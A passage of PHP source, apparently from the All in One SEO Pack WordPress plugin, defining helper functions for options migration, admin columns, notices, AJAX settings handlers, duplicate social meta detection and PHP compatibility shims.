) { /** * AIOSEOP Get Permalink * * Support UTF8 URLs. * * @since ? * * @param int|object|null $post_id The post. */ function aioseop_get_permalink( $post_id = null ) { if ( is_null( $post_id ) ) { global $post; $post_id = $post; } return urldecode( get_permalink( $post_id ) ); } } if ( ! function_exists( 'aioseop_load_modules' ) ) { /** * AIOSEOP Load Modules * * Load the module manager. * * @since ? */ function aioseop_load_modules() { global $aioseop_modules, $aioseop_module_list; require_once( AIOSEOP_PLUGIN_DIR . 'admin/aioseop_module_manager.php' ); $aioseop_modules = new All_in_One_SEO_Pack_Module_Manager( apply_filters( 'aioseop_module_list', $aioseop_module_list ) ); $aioseop_modules->load_modules(); } } if ( ! function_exists( 'aioseop_get_options' ) ) { /** * AIOSEOP Get Option * * @since ? * * @return mixed|void */ function aioseop_get_options() { global $aioseop_options; $aioseop_options = get_option( 'aioseop_options' ); $aioseop_options = apply_filters( 'aioseop_get_options', $aioseop_options ); return $aioseop_options; } } if ( ! function_exists( 'aioseop_update_settings_check' ) ) { /** * AIOSEOP Update Settings Check * * Check if settings need to be updated / migrated from old version. * * @TODO See when this is from and if we can move it elsewhere... our new db updates/upgrades class? This is called every single time a page is loaded both on the front-end or backend. * * @since ? */ function aioseop_update_settings_check() { global $aioseop_options; if ( empty( $aioseop_options ) || isset( $_POST['aioseop_migrate_options'] ) ) { aioseop_initialize_options(); } // WPML has now attached to filters, read settings again so they can be translated. aioseop_get_options(); $update_options = false; if ( ! empty( $aioseop_options ) ) { if ( ! empty( $aioseop_options['aiosp_archive_noindex'] ) ) { // Migrate setting for noindex archives. $aioseop_options['aiosp_archive_date_noindex'] = $aioseop_options['aiosp_archive_noindex']; $aioseop_options['aiosp_archive_author_noindex'] = $aioseop_options['aiosp_archive_noindex']; unset( $aioseop_options['aiosp_archive_noindex'] ); $update_options = true; } if ( ! empty( $aioseop_options['aiosp_archive_title_format'] ) && empty( $aioseop_options['aiosp_date_title_format'] ) ) { $aioseop_options['aiosp_date_title_format'] = $aioseop_options['aiosp_archive_title_format']; unset( $aioseop_options['aiosp_archive_title_format'] ); $update_options = true; } if ( ! empty( $aioseop_options['aiosp_archive_title_format'] ) && ( '%date% | %site_title%' === $aioseop_options['aiosp_archive_title_format'] ) ) { $aioseop_options['aiosp_archive_title_format'] = '%archive_title% | %site_title%'; $update_options = true; } if ( $update_options ) { update_option( 'aioseop_options', $aioseop_options ); } } } } if ( ! function_exists( 'aioseop_initialize_options' ) ) { /** * AIOSEOP Initialize Options * * Initialize settings to defaults. Changed name from the abstruse 'aioseop_mrt_mkarry' to 'aioseop_initialize_options'. * * @TODO Should also move. * * @since ? */ function aioseop_initialize_options() { global $aiosp; global $aioseop_options; $naioseop_options = $aiosp->default_options(); if ( get_option( 'aiosp_post_title_format' ) ) { foreach ( $naioseop_options as $aioseop_opt_name => $value ) { $aioseop_oldval = get_option( $aioseop_opt_name ); if ( $aioseop_oldval ) { $naioseop_options[ $aioseop_opt_name ] = $aioseop_oldval; } if ( '' == $aioseop_oldval ) { $naioseop_options[ $aioseop_opt_name ] = ''; } delete_option( $aioseop_opt_name ); } } add_option( 'aioseop_options', $naioseop_options ); $aioseop_options = $naioseop_options; } } if ( ! function_exists( 'aioseop_get_version' ) ) { /** * AIOSEOP Get Version * * Returns the version. * I'm not sure why we have BOTH a function and a constant for this. -mrt * * @since ? * * @return string */ function aioseop_get_version() { return AIOSEOP_VERSION; } } if ( ! function_exists( 'aioseop_option_isset' ) ) { /** * AIOSEOP Option Isset * * Checks if an option isset. * * @since ? * * @param $option * @return bool */ function aioseop_option_isset( $option ) { global $aioseop_options; return ( isset( $aioseop_options[ $option ] ) && $aioseop_options[ $option ] ); } } if ( ! function_exists( 'aioseop_addmycolumns' ) ) { /** * AIOSEOP Add My Columns * * Adds posttype columns. * * @since ? */ function aioseop_addmycolumns() { global $aioseop_options, $pagenow; $aiosp_posttypecolumns = array(); if ( ! empty( $aioseop_options ) && ! empty( $aioseop_options['aiosp_posttypecolumns'] ) ) { $aiosp_posttypecolumns = $aioseop_options['aiosp_posttypecolumns']; } if ( ! empty( $pagenow ) && ( 'upload.php' === $pagenow ) ) { $post_type = 'attachment'; } elseif ( ! isset( $_REQUEST['post_type'] ) ) { $post_type = 'post'; } else { $post_type = $_REQUEST['post_type']; } if ( is_array( $aiosp_posttypecolumns ) && in_array( $post_type, $aiosp_posttypecolumns ) ) { add_action( 'admin_head', 'aioseop_admin_head' ); if ( 'page' === $post_type ) { add_filter( 'manage_pages_columns', 'aioseop_mrt_pcolumns' ); } elseif ( 'attachment' === $post_type ) { add_filter( 'manage_media_columns', 'aioseop_mrt_pcolumns' ); } else { add_filter( 'manage_posts_columns', 'aioseop_mrt_pcolumns' ); } if ( 'attachment' === $post_type ) { add_action( 'manage_media_custom_column', 'aioseop_mrt_pccolumn', 10, 2 ); } elseif ( is_post_type_hierarchical( $post_type ) ) { add_action( 'manage_pages_custom_column', 'aioseop_mrt_pccolumn', 10, 2 ); } else { add_action( 'manage_posts_custom_column', 'aioseop_mrt_pccolumn', 10, 2 ); } } } } if ( ! function_exists( 'aioseop_mrt_pcolumns' ) ) { /** * AIOSEOP (MRT) P Columns * * @since ? * * @param $aioseopc * @return mixed */ function aioseop_mrt_pcolumns( $aioseopc ) { global $aioseop_options; $aioseopc['seotitle'] = __( 'SEO Title', 'all-in-one-seo-pack' ); $aioseopc['seodesc'] = __( 'SEO Description', 'all-in-one-seo-pack' ); if ( empty( $aioseop_options['aiosp_togglekeywords'] ) ) { $aioseopc['seokeywords'] = __( 'SEO Keywords', 'all-in-one-seo-pack' ); } return $aioseopc; } } if ( ! function_exists( 'aioseop_admin_head' ) ) { /** * AIOSEOP Admin Head * * @since ? */ function aioseop_admin_head() { wp_enqueue_script( 'aioseop_welcome_js', AIOSEOP_PLUGIN_URL . 'js/quickedit_functions.js', array( 'jquery' ), AIOSEOP_VERSION ); ?> <style> .aioseop_mpc_admin_meta_options { float: left; display: block; opacity: 1; max-height: 75px; overflow: hidden; width: 100%; } .aioseop_mpc_admin_meta_options.aio_editing { max-height: initial; overflow: visible; } .aioseop_mpc_admin_meta_content { float: left; width: 100%; margin: 0 0 10px 0; } td.seotitle.column-seotitle, td.seodesc.column-seodesc, td.seokeywords.column-seokeywords { overflow: visible; } @media screen and (max-width: 782px) { body.wp-admin th.column-seotitle, th.column-seodesc, th.column-seokeywords, td.seotitle.column-seotitle, td.seodesc.column-seodesc, td.seokeywords.column-seokeywords { display: none; } } </style> <?php wp_print_scripts( array( 'sack' ) ); ?> <script type="text/javascript"> //<![CDATA[ var aioseopadmin = { blogUrl: "<?php print get_bloginfo( 'url' ); ?>", pluginUrl: "<?php print AIOSEOP_PLUGIN_URL; ?>", requestUrl: "<?php print WP_ADMIN_URL . '/admin-ajax.php'; ?>", imgUrl: "<?php print AIOSEOP_PLUGIN_IMAGES_URL; ?>", Edit: "<?php _e( 'Edit', 'all-in-one-seo-pack' ); ?>", Post: "<?php _e( 'Post', 'all-in-one-seo-pack' ); ?>", Save: "<?php _e( 'Save', 'all-in-one-seo-pack' ); ?>", Cancel: "<?php _e( 'Cancel', 'all-in-one-seo-pack' ); ?>", postType: "post", pleaseWait: "<?php _e( 'Please wait...', 'all-in-one-seo-pack' ); ?>", slugEmpty: "<?php _e( 'Slug may not be empty!', 'all-in-one-seo-pack' ); ?>", Revisions: "<?php _e( 'Revisions', 'all-in-one-seo-pack' ); ?>", Time: "<?php _e( 'Insert time', 'all-in-one-seo-pack' ); ?>" } //]]> </script> <?php } } if ( ! function_exists( 'aioseop_handle_ignore_notice' ) ) { /** * AIOSEOP Handle Ignore Notice * * @since ? */ function aioseop_handle_ignore_notice() { if ( ! empty( $_GET ) ) { global $current_user; $user_id = $current_user->ID; if ( ! empty( $_GET['aioseop_reset_notices'] ) ) { delete_user_meta( $user_id, 'aioseop_ignore_notice' ); } if ( ! empty( $_GET['aioseop_ignore_notice'] ) ) { add_user_meta( $user_id, 'aioseop_ignore_notice', $_GET['aioseop_ignore_notice'], false ); } } } } if ( ! function_exists( 'aioseop_output_notice' ) ) { /** * AIOSEOP Output Notice * * @since ? * * @param $message * @param string $id * @param string $class * @return bool */ function aioseop_output_notice( $message, $id = '', $class = 'updated fade' ) { $class = 'aioseop_notice ' . $class; if ( ! empty( $class ) ) { $class = ' class="' . esc_attr( $class ) . '"'; } if ( ! empty( $id ) ) { $class .= ' id="' . esc_attr( $id ) . '"'; } $dismiss = ' '; echo "<div{$class}>" . wp_kses_post( $message ) . '</div>'; return true; } } if ( ! function_exists( 'aioseop_output_dismissable_notice' ) ) { /** * AIOSEOP Output Dismissable Notice * * @since ? * * @param $message * @param string $id * @param string $class * @return bool */ function aioseop_output_dismissable_notice( $message, $id = '', $class = 'updated fade' ) { global $current_user; if ( ! empty( $current_user ) ) { $user_id = $current_user->ID; $msgid = md5( $message ); $ignore = get_user_meta( $user_id, 'aioseop_ignore_notice' ); if ( ! empty( $ignore ) && in_array( $msgid, $ignore ) ) { return false; } global $wp; $qa = array(); wp_parse_str( $_SERVER['QUERY_STRING'], $qa ); $qa['aioseop_ignore_notice'] = $msgid; $url = '?' . build_query( $qa ); $message = '<p class=alignleft>' . $message . '</p><p class="alignright"><a class="aioseop_dismiss_link" href="' . $url . '">Dismiss</a></p>'; } return aioseop_output_notice( $message, $id, $class ); } } if ( ! function_exists( 'aioseop_ajax_save_meta' ) ) { /** * AIOSEOP AJAX Save Meta */ function aioseop_ajax_save_meta() { if ( ! empty( $_POST['_inline_edit'] ) && ( 'undefined' !== $_POST['_inline_edit'] ) ) { check_ajax_referer( 'inlineeditnonce', '_inline_edit' ); } $post_id = intval( $_POST['post_id'] ); $new_meta = strip_tags( $_POST['new_meta'] ); $target = $_POST['target_meta']; check_ajax_referer( 'aioseop_meta_' . $target . '_' . $post_id, '_nonce' ); $result = ''; if ( in_array( $target, array( 'title', 'description', 'keywords', ) ) && current_user_can( 'edit_post', $post_id ) ) { update_post_meta( $post_id, '_aioseop_' . $target, esc_attr( $new_meta ) ); $result = get_post_meta( $post_id, '_aioseop_' . $target, true ); } else { die(); } if ( '' != $result ) : $label = "<label id='aioseop_label_{$target}_{$post_id}' class='aioseop-label-quickedit' for='{$target}editlink{$post_id}'>" . $result . '</label>'; else : $label = "<label id='aioseop_label_{$target}_{$post_id}' class='aioseop-label-quickedit' for='{$target}editlink{$post_id}'></label><strong><i>" . __( 'No', 'all-in-one-seo-pack' ) . ' ' . $target . '</i></strong>'; endif; $nonce = wp_create_nonce( "aioseop_meta_{$target}_{$post_id}" ); $output = '<a id="' . $target . 'editlink' . $post_id . '" ' . 'class="aioseop_edit_link aioseop-icon-cog-edit" ' . 'href="javascript:void(0);" ' . 'onclick=\'aioseop_ajax_edit_meta_form(' . $post_id . ', "' . $target . '", "' . $nonce . '");return false;\' ' . 'title="' . __( 'Edit', 'all-in-one-seo-pack' ) . '"></a>'; $output .= $label; die( "jQuery('div#aioseop_" . $target . '_' . $post_id . "').fadeOut('fast', function() { var my_label = " . json_encode( $output ) . "; jQuery('div#aioseop_" . $target . '_' . $post_id . "').html(my_label).fadeIn('fast'); });" ); } } if ( ! function_exists( 'aioseop_ajax_init' ) ) { /** * AIOSEOP AJAX Init * * @since ? */ function aioseop_ajax_init() { if ( ! empty( $_POST ) && ! empty( $_POST['settings'] ) && ( ! empty( $_POST['nonce-aioseop'] ) || ( ! empty( $_POST['nonce-aioseop-edit'] ) ) ) && ! empty( $_POST['options'] ) ) { $_POST = stripslashes_deep( $_POST ); $settings = esc_attr( $_POST['settings'] ); if ( ! defined( 'AIOSEOP_AJAX_MSG_TMPL' ) ) { define( 'AIOSEOP_AJAX_MSG_TMPL', "jQuery('div#aiosp_$settings').fadeOut('fast', function(){jQuery('div#aiosp_$settings').html('%s').fadeIn('fast');});" ); } if ( ! wp_verify_nonce( $_POST['nonce-aioseop'], 'aioseop-nonce' ) ) { die( sprintf( AIOSEOP_AJAX_MSG_TMPL, __( 'Unauthorized access; try reloading the page.', 'all-in-one-seo-pack' ) ) ); } } else { die( 0 ); } } } /** * AIOSEOP Embed Handler HTML * * @since 2.3a * * @param $return * @param $url * @param $attr * @return mixed */ function aioseop_embed_handler_html( $return, $url, $attr ) { return AIO_ProGeneral::aioseop_embed_handler_html(); } if ( ! function_exists( 'aioseop_ajax_save_url' ) ) { /** * AIOSEOP AJAX Save URL * * @since ? */ function aioseop_ajax_save_url() { $valid = true; $invalid_msg = null; $options = array(); aioseop_ajax_init(); parse_str( $_POST['options'], $options ); foreach ( $options as $k => $v ) { // all values are mandatory while adding to the sitemap. // this should work in the same way for news and video sitemaps too, but tackling only regular sitemaps for now. if ( 'sitemap_addl_pages' === $_POST['settings'] ) { if ( empty( $v ) ) { $valid = false; } elseif ( 'aiosp_sitemap_addl_url' === $k && ! aiosp_common::is_url_valid( $v ) ) { $valid = false; $invalid_msg = __( 'Please provide absolute URLs (including http or https).', 'all-in-one-seo-pack' ); } if ( ! $valid ) { break; } } $_POST[ $k ] = $v; } if ( $valid ) { $_POST['action'] = 'aiosp_update_module'; global $aiosp, $aioseop_modules; aioseop_load_modules(); $aiosp->admin_menu(); if ( ! empty( $_POST['settings'] ) && ( 'video_sitemap_addl_pages' === $_POST['settings'] ) ) { $module = $aioseop_modules->return_module( 'All_in_One_SEO_Pack_Video_Sitemap' ); } elseif ( ! empty( $_POST['settings'] ) && ( 'news_sitemap_addl_pages' === $_POST['settings'] ) ) { $module = $aioseop_modules->return_module( 'All_in_One_SEO_Pack_News_Sitemap' ); } else { $module = $aioseop_modules->return_module( 'All_in_One_SEO_Pack_Sitemap' ); } $_POST['location'] = null; $_POST['Submit'] = 'ajax'; $module->add_page_hooks(); $prefix = $module->get_prefix(); $_POST = $module->get_current_options( $_POST, null ); $module->handle_settings_updates( null ); $options = $module->get_current_options( array(), null ); $output = $module->display_custom_options( '', array( 'name' => $prefix . 'addl_pages', 'type' => 'custom', 'save' => true, 'value' => $options[ $prefix . 'addl_pages' ], 'attr' => '', ) ); $output = str_replace( "'", "\'", $output ); $output = str_replace( "\n", '\n', $output ); } else { if ( $invalid_msg ) { $output = $invalid_msg; } else { $output = __( 'All values are mandatory.', 'all-in-one-seo-pack' ); } } die( sprintf( AIOSEOP_AJAX_MSG_TMPL, $output ) ); } } if ( ! function_exists( 'aioseop_ajax_delete_url' ) ) { /** * AIOSEOP AJAX Delete URL * * @since ? */ function aioseop_ajax_delete_url() { aioseop_ajax_init(); $options = array(); $options = esc_attr( $_POST['options'] ); $_POST['action'] = 'aiosp_update_module'; global $aiosp, $aioseop_modules; aioseop_load_modules(); $aiosp->admin_menu(); $module = $aioseop_modules->return_module( 'All_in_One_SEO_Pack_Sitemap' ); $_POST['location'] = null; $_POST['Submit'] = 'ajax'; $module->add_page_hooks(); $_POST = (array) $module->get_current_options( $_POST, null ); if ( ! empty( $_POST['aiosp_sitemap_addl_pages'] ) && is_object( $_POST['aiosp_sitemap_addl_pages'] ) ) { $_POST['aiosp_sitemap_addl_pages'] = (array) $_POST['aiosp_sitemap_addl_pages']; } if ( ! empty( $_POST['aiosp_sitemap_addl_pages'] ) && ( ! empty( $_POST['aiosp_sitemap_addl_pages'][ $options ] ) ) ) { unset( $_POST['aiosp_sitemap_addl_pages'][ $options ] ); if ( empty( $_POST['aiosp_sitemap_addl_pages'] ) ) { $_POST['aiosp_sitemap_addl_pages'] = ''; } else { $_POST['aiosp_sitemap_addl_pages'] = json_encode( $_POST['aiosp_sitemap_addl_pages'] ); } $module->handle_settings_updates( null ); $options = $module->get_current_options( array(), null ); $output = $module->display_custom_options( '', array( 'name' => 'aiosp_sitemap_addl_pages', 'type' => 'custom', 'save' => true, 'value' => $options['aiosp_sitemap_addl_pages'], 'attr' => '', ) ); $output = str_replace( "'", "\'", $output ); $output = str_replace( "\n", '\n', $output ); } else { /* translators: %s is a placeholder and will be replaced with a number. */ $output = sprintf( __( 'Row %s not found; no rows were deleted.', 'all-in-one-seo-pack' ), esc_attr( $options ) ); } die( sprintf( AIOSEOP_AJAX_MSG_TMPL, $output ) ); } } if ( ! function_exists( 'aioseop_ajax_scan_header' ) ) { /** * AIOSEOP AJAX Scan Header * * @since ? */ function aioseop_ajax_scan_header() { $_POST['options'] = 'foo'; aioseop_ajax_init(); $options = array(); parse_str( $_POST['options'], $options ); foreach ( $options as $k => $v ) { $_POST[ $k ] = $v; } $_POST['action'] = 'aiosp_update_module'; $_POST['location'] = null; $_POST['Submit'] = 'ajax'; ob_start(); do_action( 'wp' ); global $aioseop_modules; $module = $aioseop_modules->return_module( 'All_in_One_SEO_Pack_Opengraph' ); wp_head(); $output = ob_get_clean(); global $aiosp; $output = $aiosp->html_string_to_array( $output ); $meta = ''; $metatags = array( 'facebook' => array( 'name' => 'property', 'value' => 'content', ), 'twitter' => array( 'name' => 'name', 'value' => 'value', ), ); $metadata = array( 'facebook' => array( 'title' => 'og:title', 'type' => 'og:type', 'url' => 'og:url', 'thumbnail' => 'og:image', 'sitename' => 'og:site_name', 'key' => 'fb:admins', 'description' => 'og:description', ), 'twitter' => array( 'card' => 'twitter:card', 'url' => 'twitter:url', 'title' => 'twitter:title', 'description' => 'twitter:description', 'thumbnail' => 'twitter:image', ), ); if ( ! empty( $output ) && ! empty( $output['head'] ) && ! empty( $output['head']['meta'] ) ) { foreach ( $output['head']['meta'] as $v ) { if ( ! empty( $v['@attributes'] ) ) { $m = $v['@attributes']; foreach ( $metatags as $type => $tags ) { if ( ! empty( $m[ $tags['name'] ] ) && ! empty( $m[ $tags['value'] ] ) ) { foreach ( $metadata[ $type ] as $tk => $tv ) { if ( $m[ $tags['name'] ] == $tv ) { /* This message is shown when a duplicate meta tag is found. %s is a placeholder and will be replaced with the name of the relevant meta tag. */ $meta .= "<tr><th style='color:red;'>" . sprintf( __( 'Duplicate %s Meta', 'all-in-one-seo-pack' ), ucwords( $type ) ) . '</th><td>' . ucwords( $tk ) . "</td><td>{$m[$tags['name']]}</td><td>{$m[$tags['value']]}</td></tr>\n"; } } } } } } } if ( empty( $meta ) ) { $meta = '<span style="color:green;">' . __( 'No duplicate meta tags found.', 'all-in-one-seo-pack' ) . '</span>'; } else { $meta = "<table cellspacing=0 cellpadding=0 width=80% class='aioseop_table'><tr class='aioseop_table_header'><th>Meta For Site</th><th>Kind of Meta</th><th>Element Name</th><th>Element Value</th></tr>" . $meta . '</table>'; $meta .= "<p><div class='aioseop_meta_info'><h3 style='padding:5px;margin-bottom:0px;'>" . __( 'What Does This Mean?', 'all-in-one-seo-pack' ) . "</h3><div style='padding:5px;padding-top:0px;'>" /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ . '<p>' . sprintf( __( '%s has detected that a plugin(s) or theme is also outputting social meta tags on your site. You can view this social meta in the source code of your site (check your browser help for instructions on how to view source code).', 'all-in-one-seo-pack' ), AIOSEOP_PLUGIN_NAME ) . '</p><p>' . __( 'You may prefer to use the social meta tags that are being output by the other plugin(s) or theme. If so, then you should deactivate this Social Meta feature in the Feature Manager.', 'all-in-one-seo-pack' ) . '</p><p>' . __( 'You should avoid duplicate social meta tags. You can use these free tools from Facebook and Twitter to validate your social meta and check for errors:', 'all-in-one-seo-pack' ) . '</p>'; foreach ( array( 'https://developers.facebook.com/tools/debug', 'https://dev.twitter.com/docs/cards/validation/validator', ) as $link ) { $meta .= "<a href='{$link}' target='_blank'>{$link}</a><br />"; } $meta .= '<p>' . __( 'Please refer to the document for each tool for help in using these to debug your social meta.', 'all-in-one-seo-pack' ) . '</div></div>'; } $output = $meta; $output = str_replace( "'", "\'", $output ); $output = str_replace( "\n", '\n', $output ); die( sprintf( AIOSEOP_AJAX_MSG_TMPL, $output ) ); } } if ( ! function_exists( 'aioseop_ajax_save_settings' ) ) { /** * AIOSEOP AJAX Save Settings * * @since ? */ function aioseop_ajax_save_settings() { aioseop_ajax_init(); $options = array(); parse_str( $_POST['options'], $options ); $_POST = $options; $_POST['action'] = 'aiosp_update_module'; global $aiosp, $aioseop_modules; aioseop_load_modules(); $aiosp->admin_menu(); $module = $aioseop_modules->return_module( $_POST['module'] ); unset( $_POST['module'] ); if ( empty( $_POST['location'] ) ) { $_POST['location'] = null; } $_POST['Submit'] = 'ajax'; $module->add_page_hooks(); $output = $module->handle_settings_updates( $_POST['location'] ); if ( AIOSEOPPRO ) { $output = '<div id="aioseop_settings_header"><div id="message" class="updated fade"><p>' . $output . '</p></div></div><style>body.all-in-one-seo_page_all-in-one-seo-pack-pro-aioseop_feature_manager .aioseop_settings_left { margin-top: 45px !important; }</style>'; } else { $output = '<div id="aioseop_settings_header"><div id="message" class="updated fade"><p>' . $output . '</p></div></div><style>body.all-in-one-seo_page_all-in-one-seo-pack-aioseop_feature_manager .aioseop_settings_left { margin-top: 45px !important; }</style>'; } if ( defined( 'AIOSEOP_UNIT_TESTING' ) ) { return; } die( sprintf( AIOSEOP_AJAX_MSG_TMPL, $output ) ); } } if ( ! function_exists( 'aioseop_ajax_get_menu_links' ) ) { /** * AIOSEOP AJAX Get Menu Links * * @since ? */ function aioseop_ajax_get_menu_links() { aioseop_ajax_init(); $options = array(); parse_str( $_POST['options'], $options ); $_POST = $options; $_POST['action'] = 'aiosp_update_module'; global $aiosp, $aioseop_modules; aioseop_load_modules(); $aiosp->admin_menu(); if ( empty( $_POST['location'] ) ) { $_POST['location'] = null; } $_POST['Submit'] = 'ajax'; $modlist = $aioseop_modules->get_loaded_module_list(); $links = array(); $link_list = array(); $link = $aiosp->get_admin_links(); if ( ! empty( $link ) ) { foreach ( $link as $l ) { if ( ! empty( $l ) ) { if ( empty( $link_list[ $l['order'] ] ) ) { $link_list[ $l['order'] ] = array(); } $link_list[ $l['order'] ][ $l['title'] ] = $l['href']; } } } if ( ! empty( $modlist ) ) { foreach ( $modlist as $k => $v ) { $mod = $aioseop_modules->return_module( $v ); if ( is_object( $mod ) ) { $mod->add_page_hooks(); $link = $mod->get_admin_links(); foreach ( $link as $l ) { if ( ! empty( $l ) ) { if ( empty( $link_list[ $l['order'] ] ) ) { $link_list[ $l['order'] ] = array(); } $link_list[ $l['order'] ][ $l['title'] ] = $l['href']; } } } } } if ( ! empty( $link_list ) ) { ksort( $link_list ); foreach ( $link_list as $ll ) { foreach ( $ll as $k => $v ) { $links[ $k ] = $v; } } } $output = '<ul>'; if ( ! empty( $links ) ) { foreach ( $links as $k => $v ) { if ( 'Feature Manager' === $k ) { $current = ' class="current"'; } else { $current = ''; } $output .= "<li{$current}><a href='" . esc_url( $v ) . "'>" . esc_attr( $k ) . '</a></li>'; } } $output .= '</ul>'; die( sprintf( "jQuery('{$_POST['target']}').fadeOut('fast', function(){jQuery('{$_POST['target']}').html('%s').fadeIn('fast');});", addslashes( $output ) ) ); } } if ( ! function_exists( 'aioseop_mrt_pccolumn' ) ) { /** * AIOSEOP (MRT) Column * * @since ? * * @param $aioseopcn * @param $aioseoppi */ function aioseop_mrt_pccolumn( $aioseopcn, $aioseoppi ) { $id = $aioseoppi; $target = null; if ( 'seotitle' === $aioseopcn ) { $target = 'title'; } if ( 'seokeywords' === $aioseopcn ) { $target = 'keywords'; } if ( 'seodesc' === $aioseopcn ) { $target = 'description'; } if ( ! $target ) { return; } if ( current_user_can( 'edit_post', $id ) ) { ?> <div class="aioseop_mpc_admin_meta_container"> <div class="aioseop_mpc_admin_meta_options" id="aioseop_<?php print $target; ?>_<?php echo $id; ?>" style="float:left;"> <?php $content = strip_tags( stripslashes( get_post_meta( $id, '_aioseop_' . $target, true ) ) ); if ( ! empty( $content ) ) : $label = "<label id='aioseop_label_{$target}_{$id}' class='aioseop-label-quickedit'>" . $content . '</label>'; else : $label = "<label id='aioseop_label_{$target}_{$id}' class='aioseop-label-quickedit'></label><strong><i>" . __( 'No', 'all-in-one-seo-pack' ) . ' ' . $target . '</i></strong>'; endif; $nonce = wp_create_nonce( "aioseop_meta_{$target}_{$id}" ); echo '<a id="' . $target . 'editlink' . $id . '" ' . 'class="aioseop_edit_link aioseop-icon-cog-edit" ' . 'href="javascript:void(0);" ' . 'onclick=\'aioseop_ajax_edit_meta_form(' . $id . ', "' . $target . '", "' . $nonce . '");return false;\' ' . 'title="' . __( 'Edit', 'all-in-one-seo-pack' ) . '"></a>'; echo $label; ?> </div> </div> <?php } } } if ( ! function_exists( 'aioseop_unprotect_meta' ) ) { /** * AIOSEOP Unprotect Meta * * @since ? * * @param $protected * @param $meta_key * @param $meta_type * * @return bool */ function aioseop_unprotect_meta( $protected, $meta_key, $meta_type ) { if ( isset( $meta_key ) && ( substr( $meta_key, 0, 9 ) === '_aioseop_' ) ) { return false; } return $protected; } } if ( ! function_exists( 'aioseop_mrt_exclude_this_page' ) ) { /** * AIOSEOP (MRT) Exclude this Page * * @since ? * * @param null $url * @return bool */ function aioseop_mrt_exclude_this_page( $url = null ) { static $excluded = false; if ( false === $excluded ) { global $aioseop_options; $ex_pages = ''; if ( isset( $aioseop_options['aiosp_ex_pages'] ) ) { $ex_pages = trim( $aioseop_options['aiosp_ex_pages'] ); } if ( ! empty( $ex_pages ) ) { $excluded = explode( ',', $ex_pages ); if ( ! empty( $excluded ) ) { foreach ( $excluded as $k => $v ) { $excluded[ $k ] = trim( $v ); if ( empty( $excluded[ $k ] ) ) { unset( $excluded[ $k ] ); } } } if ( empty( $excluded ) ) { $excluded = null; } } } if ( ! empty( $excluded ) ) { if ( null === $url ) { $url = $_SERVER['REQUEST_URI']; } else { $url = wp_parse_url( $url ); if ( ! empty( $url['path'] ) ) { $url = $url['path']; } else { return false; } } if ( ! empty( $url ) ) { foreach ( $excluded as $exedd ) { if ( $exedd && ( stripos( $url, $exedd ) !== false ) ) { return true; } } } } return false; } } if ( ! function_exists( 'aioseop_add_contactmethods' ) ) { /** * AIOSEOP Add Contact Methods * * @since ? * * @param $contactmethods * @return mixed */ function aioseop_add_contactmethods( $contactmethods ) { global $aioseop_options, $aioseop_modules; if ( ! empty( $aioseop_modules ) && is_object( $aioseop_modules ) ) { $m = $aioseop_modules->return_module( 'All_in_One_SEO_Pack_Opengraph' ); if ( ( false !== $m ) && is_object( $m ) ) { if ( $m->option_isset( 'twitter_creator' ) || $m->option_isset( 'facebook_author' ) ) { $contactmethods['aioseop_edit_profile_header'] = AIOSEOP_PLUGIN_NAME; } if ( $m->option_isset( 'twitter_creator' ) ) { $contactmethods['twitter'] = 'Twitter'; } if ( $m->option_isset( 'facebook_author' ) ) { $contactmethods['facebook'] = 'Facebook'; } } } return $contactmethods; } } if ( ! function_exists( 'aioseop_localize_script_data' ) ) { /** * AIOSEOP Localize Script Data * * Used by the module base class script enqueue to localize data. * * @since ? */ function aioseop_localize_script_data() { static $loaded = 0; if ( ! $loaded ) { $data = apply_filters( 'aioseop_localize_script_data', array() ); wp_localize_script( 'aioseop-module-script', 'aiosp_data', $data ); $loaded = 1; } } } if ( ! function_exists( 'aioseop_array_insert_after' ) ) { /** * AIOSEOP Array Insert After * * Utility function for inserting elements into associative arrays by key. * * @since ? * * @param $arr * @param $insert_key * @param $new_values * @return array */ function aioseop_array_insert_after( $arr, $insert_key, $new_values ) { $keys = array_keys( $arr ); $vals = array_values( $arr ); $insert_after = array_search( $insert_key, $keys ) + 1; $keys2 = array_splice( $keys, $insert_after ); $vals2 = array_splice( $vals, $insert_after ); foreach ( $new_values as $k => $v ) { $keys[] = $k; $vals[] = $v; } return array_merge( array_combine( $keys, $vals ), array_combine( $keys2, $vals2 ) ); } } if ( ! function_exists( 'fnmatch' ) ) { /** * Filename Match * * Support for fnmatch() doesn't exist on Windows pre PHP 5.3. * * @since ? * * @param $pattern * @param $string * @return int */ function fnmatch( $pattern, $string ) { return preg_match( '#^' . strtr( preg_quote( $pattern, '#' ), array( '\*' => '.*', '\?' => '.', ) ) . '$#i', $string ); } } if ( ! function_exists( 'aiosp_log' ) ) { /** * AIOSEOP Log * * @since 2.4.10 * * @param $log * @param bool $force */ function aiosp_log( $log, $force = false ) { global $aioseop_options; if ( ( ! empty( $aioseop_options ) && isset( $aioseop_options['aiosp_do_log'] ) && $aioseop_options['aiosp_do_log'] ) || $force || defined( 'AIOSEOP_DO_LOG' ) ) { if ( is_array( $log ) || is_object( $log ) ) { error_log( print_r( $log, true ) ); } else { error_log( $log ); } } } } if ( ! function_exists( 'parse_ini_string' ) ) { /** * Parse INI String * * Parse_ini_string() doesn't exist pre PHP 5.3. * * @since ? * * @param $string * @param $process_sections * @return array|bool */ function parse_ini_string( $string, $process_sections ) { if ( ! class_exists( 'parse_ini_filter' ) ) { /** * Class parse_ini_filter * * Define our filter class. */ // @codingStandardsIgnoreStart class parse_ini_filter extends php_user_filter { // @codingStandardsIgnoreEnd /** * Buffer * * @since ? * * @var string $buf */ static $buf = ''; /** * The actual filter for parsing. * * @param $in * @param $out * @param $consumed * @param $closing * * @return int */ function filter( $in, $out, &$consumed, $closing ) { $bucket = stream_bucket_new( fopen( 'php://memory', 'wb' ), self::$buf ); stream_bucket_append( $out, $bucket ); return PSFS_PASS_ON; } } // Register our filter with PHP. if ( ! stream_filter_register( 'parse_ini', 'parse_ini_filter' ) ) { return false; } } parse_ini_filter::$buf = $string; return parse_ini_file( 'php://filter/read=parse_ini/resource=php://memory', $process_sections ); } } /** * AIOSEOP Update User Visibility Notice * * @since ? * @deprecated 3.0 */ function aioseop_update_user_visibilitynotice() { update_user_meta( get_current_user_id(), 'aioseop_visibility_notice_dismissed', true ); } /** * AIOSEOP Update Yoast Detected Notice * * @since ? * @deprecated 3.0 */ function aioseop_update_yst_detected_notice() { update_user_meta( get_current_user_id(), 'aioseop_yst_detected_notice_dismissed', true ); } /** * Returns home_url() value compatible for any use. * Thought for compatibility purposes. * * @since 2.3.12.3 * * @param string 